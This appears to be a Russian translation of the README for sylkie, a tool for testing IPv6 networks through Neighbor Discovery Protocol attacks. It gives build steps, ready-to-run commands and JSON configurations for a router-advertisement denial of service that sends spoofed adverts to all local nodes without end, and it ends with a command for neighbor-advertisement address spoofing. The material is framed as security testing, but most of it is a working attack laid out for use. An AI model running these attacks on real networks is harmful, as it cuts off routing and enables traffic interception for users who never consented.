Инструмент командной строки и библиотека для тестирования сетей на общие уязвимости безопасности в сетях IPv6 с использованием протокола Neighbor Discovery Protocol.
Зависимости
- libseccomp
- json-c
Сборка
Получаем код:
#git clone https://github.com/dlrobertson/sylkie # cd ./sylkie
Скомпилируем код:
# mkdir -p ./build # cd ./build # cmake -DCMAKE_BUILD_TYPE = Release .. # make # make install
Основное использование
Ниже описывается основное использование sylkie.
Запустите sylkie -h или sylkie <subcommand> -h для получения более подробной информации.
DoS (Обращение к роутеру)
Ниже приведено базовое использование команды рекламы sylkie router.
Эта команда отправляет сообщение роутеру на указанный ip или все узлы многоадресной рассылки, чтобы целевые узлы удалили <router-ip> / <prefix> из их списка маршрутов по умолчанию.
# sylkie ra -interface interface; \ --target-mac mac of router; \ --router-ip ip of router; \ --prefix router prefix; \ --timeout time between adverts; \ --repeat number of times to send the request; }
Пример обращения к маршрутизатору
# sylkie ra -i ens3 \ --target-mac 52:54:00:e3:f4:06 \ --router-ip fe80::b95b:ee1:cafe:9720 \ --prefix 64 \ --repeat -1 \ --timeout 10
Это действите отправило бы «поддельное» сообщение маршрутизатору на адрес локальной узловой области all-nodes ff02 :: 1, заставив все узлы удалить fe80 :: b95b: ee1: cafe: 9720/64 (адрес уровня канала 52:54: 00: e3: f4: 06) из списка маршрутов по умолчанию.
Это немного информации. Чтобы облегчить жизнь, sylkie также принимает json, где подкоманда (ra, na) является ключевым значением whos – массив объектов с ключами и значениями, являющимися соответствующей опцией и значением.
Чтобы запустить команду, передайте путь к json-файлу в качестве аргумента опции -j.
Для запуска указанной команды из json сначала создайте файл со следующим:
{ "ra": [ { "interface": "ens3", "target-mac": "52:54:00:e3:f4:06", "router-ip": "fe80::b95b:ee1:cafe:9720", "prefix": 64, "repeat": -1, "timeout": 10 } ] }
Создав файл, начните отправлять обращения:
# sylkie -j /path/to/json
Следующая конфигурация json отправит два обращения к роутеру с заданными интервалами:
{ "ra": [ { "interface": "ens3", "target-mac": "52:54:00:e3:f4:06", "router-ip": "fe80::b95b:ee1:cafe:9720", "prefix": 64, "repeat": -1, "timeout": 10 }, { "interface": "ens3", "target-mac": "52:54:00:c2:a7:7c", "router-ip": "fe80::cbed:6822:cd23:bbdb", "prefix": 64, "repeat": -1, "timeout": 10 } ] }
Как это работает
Команда router advert (ra) пытается выполнить DoS-сеть, отправив «поддельные» сообщения маршрутизатора либо на целевой адрес (если он предоставлен), либо на адрес локальной сети all-nodes ff02 :: 1.
«Поддельное» обращение маршрутизатора содержит префиксную информацию с временем жизни, установленным в 0.
В сообщении также содержится адрес источника исходного уровня.
Это должно привести к тому, что целевой адрес или все локальные узлы ссылок удаляют целевой маршрутизатор из списка маршрутов по умолчанию.
Спуффинг адресов
# sylkie na -i <interface; \ --dst-mac dest hw addr; \ --src-ip source ip; \ --dst-ip dest ip address; \ --target-ip target ip address; \ --target-mac target mac address; \ --timeout &time betweeen adverts; \ --repeat number of times to send the request;